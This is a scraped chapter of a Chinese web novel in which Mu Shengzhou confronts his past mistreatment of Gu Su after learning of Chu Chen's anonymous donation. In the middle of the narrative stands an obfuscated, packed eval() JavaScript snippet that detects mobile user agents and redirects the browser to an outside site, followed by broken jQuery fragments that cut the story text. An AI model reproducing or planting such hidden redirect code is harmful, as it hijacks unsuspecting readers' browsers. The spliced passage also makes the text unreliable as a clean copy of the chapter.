默认冷灰
24号文字
方正启体

9. 第九训

作者:舞子maiko本书字数:K更新时间:
    入夜,“往事”酒吧。


    震耳音乐声几乎盖过人语,但位于三楼的VIP包厢里,隔音良好,门扉关闭时,只能隐约听到微小的乐声。


    声音陡然抬高,又被隔绝,是有人推门进来。


    辜苏依然穿着那身不抗冻的廉价羽绒服,手指和脸颊都已冻僵,泛着不正常的红,即使酒吧里有暖气,一时半会儿也缓不过来。


    丝巾没绑在脖子上,那道伤疤就这样暴露在人前,一路走来,吸引了不少奇异的目光。


    她就这样站在包厢门内,后背贴着门板,与她遥遥相对的,是坐在主位的穆总。


    包厢里烟雾缭绕,显然他在这里已经等了好一会儿,烟灰缸里积了两三根烟蒂,还有薄薄一层烟灰。


    见她来了,穆盛洲将指间烟蒂摁灭,指了指身侧座位,示意她坐下。


    辜苏垂着头,慢慢走过去,似是很不情愿一般,屁股刚沾到座位,就举起手机,把早已打好的字给他看:


    【请问离职手续还有哪里要补充?】


    穆盛洲定定地看着那行字,又将视线移到她脸上。


    唇线紧绷,下巴也绷得紧紧的。


    肉眼可见地紧张。


    也难怪她会紧张。


    从前,他指明要她进包厢做的事,对她来说都不是什么愉快的回忆。


    她今天不来他都不会意外。


    辜苏一开始还能和他对视,两三秒后,又自觉垂下眼帘。


    自然界中,动物之间的对视代表挑衅,所以先移开目光,代表着避让和顺从。


    辜苏明白,对待穆盛洲这样绝对强势的人,硬碰硬绝对不是明智之举。


    她能以女性身份,成为部分时候需要靠力量压制犬类的训犬师,靠的就是揣摩犬类心理。


    她的训犬风格也多是正向引导为主,很少上强度,给压力,堪称春风化雨。


    这也是她选择贯彻原主对待穆盛洲的态度的原因——


    她和穆盛洲的相处模式,几乎都采取正向引导的方式。


    当他做出正确的、她希望他做的行为时,就给予奖励。


    做错不予反馈,或是不让他得到想要的结果。


    时间一久,他自然就能想清楚,该用什么态度对她。


    不过遗憾的是,穆总目前为止,还没有做对过。


    辜苏出的试卷,他不但答得乱七八糟,还扔在地上踩了一脚。


    好在她也不是很在意,总归穆盛洲不是她的主要目标。


    此时,他以离职手续没办全为借口将她叫到这里来,她心中已经隐约猜到了些许缘由。


    大概这一回,穆总是想要开始正经答题了。


    果然,在她提到关于离职手续的问题时,穆盛洲抬手,做了个打住的动作:


    “你先说清楚,那张捐赠协议的照片是怎么回事?”


    辜苏低头,默默打字,穆盛洲则坐在一旁,盯着她的屏幕,一眨不眨。


    【十年前,楚沉把省级锦标赛的奖金捐出去了,以我的名义。我当时不明白他为什么这么做,听到你的故事才想起来,穆怀灵就是他捐助的那个人。很可惜,她最后还是没有救回来。】


    穆盛洲向后靠在沙发背上,沉默许久,才将大掌盖在脸上,闷声道:


    “为什么要匿名。”


    片刻之后,辜苏拍了拍他的肩膀,给他看:


    【我对当年的事情不了解。但是他做事一向光明磊落,那次没有留名字,甚至用了我的名字,可能是不想让你知道,这件事是他做的。】


    穆盛洲将当年的事情仔仔细细想了一回,突兀地笑了一声:


    “他是怕我以后还会用一样的招数……”


    如果他靠作弊赢了比赛,那么他今后遇到难以战胜的对手时,还会下意识作弊。


    被发现,职业生涯会就此葬送。


    即使侥幸没被发现,对其他选手也不公平。


    所以楚沉不能输给他,不能倒下,即使遍体鳞伤,也必须一次次爬起来。


    如果他输了比赛,却还是借到了奖金,这无疑代表着一种对他作弊手段的默认和肯定。


    楚沉决不允许。


    宁可做好事不留名,将奖金以别人的名义,匿名捐赠出去。


    想通这一点,穆盛洲双手捂住脸,发出沉闷的、自嘲的笑声。


    那笑声带动胸腔震颤,听着竟有一种撕心裂肺的痛。


    恨了多年的人,当年竟早已暗中伸出援手,还为他考虑了那么多。


    而他做了什么?


    他又对对方视若珍宝的心上人做了什么?


    他就像个笑话。


    这件事不能细想。


    一旦细想,支撑了他十年的恨意,就会摇摇欲坠,最终倒塌时,他本人的多年坚持也会随之灰飞烟灭。


    他会堕入无间地狱。


    辜苏似乎有些怕他,见他笑成这样,默默往远处挪了挪。


    察觉到她的疏离,穆盛洲缓缓停住,眼中隐布血丝:


    “五十万违约金你不用付了。还有……微信,把我从黑名单里放出来,我之后还会联系你。”


    辜苏拘谨地又坐远了些,摇了摇头,那意思是不想再和他扯上关系。


    穆盛洲起身,如山身躯向她走去,压迫感极强,辜苏下意识起身要逃,立刻被他紧走几步,攥住手臂,急道:


    “别怕!”


    清晰感觉到掌心纤弱手臂在颤抖,努力往外挣扎,手上不由又用力几分。


    她怕他。


    辜苏被抓住,仓皇回头看他,凌乱刘海之下,那道被他强行按着磕在地上的伤口,已经结痂,狰狞丑陋,像一团碍眼的垃圾般,趴在她光洁如玉的额头上。


    就在几天前,他们还是不共戴天的仇人,他在梦里都想折磨她,想看她哭泣,看她痛苦。


    可现在,他想通了真相,再看她时,就已经舍不得她受一点委屈了。


    现在想起来,他以前弄哭过她很多次,每一次,都极其残忍。


    不能再让她哭了。


    最重要的是,关于楚沉……关于楚沉入狱的真相,决不能叫她知晓!


    想到这里,穆盛洲呼吸一窒,强行压下心中慌乱之感,用另一只手拨开她的刘海查看伤势。


    手底下的身子抖得更厉害,她几乎是整个人都缩起来,像是通过这个伤疤又想起了那天的事情,生怕他再打她。


    他怎么可能打她!?


    穆盛洲宽厚指腹轻轻拂过凹凸不平的伤口,尽量把语气放柔,生涩又别扭:


    “上药了没?”


    辜苏似乎这才意识到,他是在问她的伤口。


    她摇了摇头,像是意识到什么,又迅速点头。


    “到底上没上。”


    他被她气笑,侧过手掌,将她刘海整个向上掀起,好仔细观察伤口。


    里面混着的砂砾已经洗净,但是愈合明显不如人意,隐有色素沉淀的征兆。


    可能会留疤。


    他松开手,走到门边,吩咐守在门口的何助:


    “去买点祛疤的药来。”


    再回身看了眼站在包厢正中,满脸都写着“想离开”的辜苏,又补充了句:


    “还有,买件好点的女式羽绒服,再加个围巾。附近的商场这个点没开,你直接联系这个号码,让她给你拿现货。”


    何助领命走了,他这才关门回身,在辜苏怯懦的目光中,径直从她手中摘过手机:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921147|160347||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “密码。”


    她僵在那里没有动,视线定在手机上,很显然抗拒他触碰她的私人物品。


    穆盛洲轻叹口气,把手机塞回她手里:


    “那你自己来,把我从黑名单拉出来。”


    她这才慢吞吞地指纹解锁,不情不愿地照办。


    他也拿起自己的手机,操作着什么,不过几十秒,辜苏的微信就哐哐收到几条消息,都是转账红包,两个52000,备注自愿赠与,给她看呆了。


    “我没楚沉微信,先给你。当年的比赛奖金,十万块,我连本带利还给你们了。这个数字有特殊含义,再加上备注的赠与,你也不用担心我日后会追讨回去。”


    做完这一切,穆盛洲的心情看上去并没有转好。


    钱是还了,可他明白,辜苏眉间阴郁和怯色,不会因此消弭。


    他捏着辜苏的手臂,让她在沙发上坐下,见她坐得局促,想缓和她的紧张,也有让她暖暖身子的意思,于是亲自给她倒了杯酒,剔透酒液顺着方型酒杯杯壁缓缓流下,在昏暗灯光下轻微荡漾。


    酒是他特意挑的低酒精果酒,不会醉人,也适合女士喝。


    自从被穆家认回去,像给人倒酒这种伺候人的活,他已经很久没做了,一时竟有些生疏。


    等他把杯子推到辜苏面前时,才发现她脸色有些不对。


    她死死盯着酒杯,艰难地吞咽了几口口水,紧接着,像是被包厢里弥漫的烟味刺激到喉咙似的,捂着脖子咳嗽起来。


    他连忙去拍她后背,等她好不容易缓过来,一双漾着水汽的眸子泛着红,嘴唇颤抖地望向酒杯,再看向他时,眼中的惶然无措、困惑惊慌,几乎实质化。


    他先是一怔,接着突然被那双湿润的眸子提醒了——


    不久前,他还强行灌她酒,灌到她神志不清,甚至晕倒,如今再经他的手把酒递给她,何其残忍?


    她会不会认为这又是一场羞辱!?


    “不想喝就不喝。”他连忙把杯子往远处挪了挪,动作快得酒液都被晃了出来,“你想喝点别的什么吗?果汁还是汽水?”


    辜苏摇头,站起身,那意思是要走了。


    “你先等等,一会儿何助回来,给你带药。”


    穆盛洲按着她的肩膀,把人重又按坐回去。


    辜苏焦躁地看了眼手机时间。


    已经是八点半了。


    她今天在外面逛了一天,照旧没有人要她一个哑巴员工。


    明早还要继续找工作,她得早点回去休息。


    还有楚沉……


    等回去之后,还要面对他。


    辜苏不由极轻地叹了口气。


    一旁的穆盛洲,则默不作声地回忆着自己这些年来对辜苏做的事情。


    越回忆越心慌。


    他已经很多年没有这种心慌的感觉了。


    十年前,捡来的妹妹死亡,八年前,被穆家认祖归宗,六年前,开始接触穆家企业。


    他一个街头打拳混口饭吃的混小子,在穆家拔苗助长的高压教育下,即使有一点商业天赋在,八年里也是不知道蜕了多少层皮,熬了多少夜,才成了如今手段狠绝、眼光精准的小穆总。


    喜怒不形于色已经成了刻在骨髓里的教养,事事有解法也成了他行事的准则信条。


    但面对辜苏,还有楚沉,他久违地产生了一种无助的茫然无措感。


    他们之间似乎没有解法。


    想到这里,穆盛洲抬眼看向辜苏。


    她垂着头,正在沉默地绞着手指,侧颈那道伤疤分外刺眼。


    他福至心灵,忽然开口:


    “辜苏,当年要杀你的那个人,我帮你查出来,好不好?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)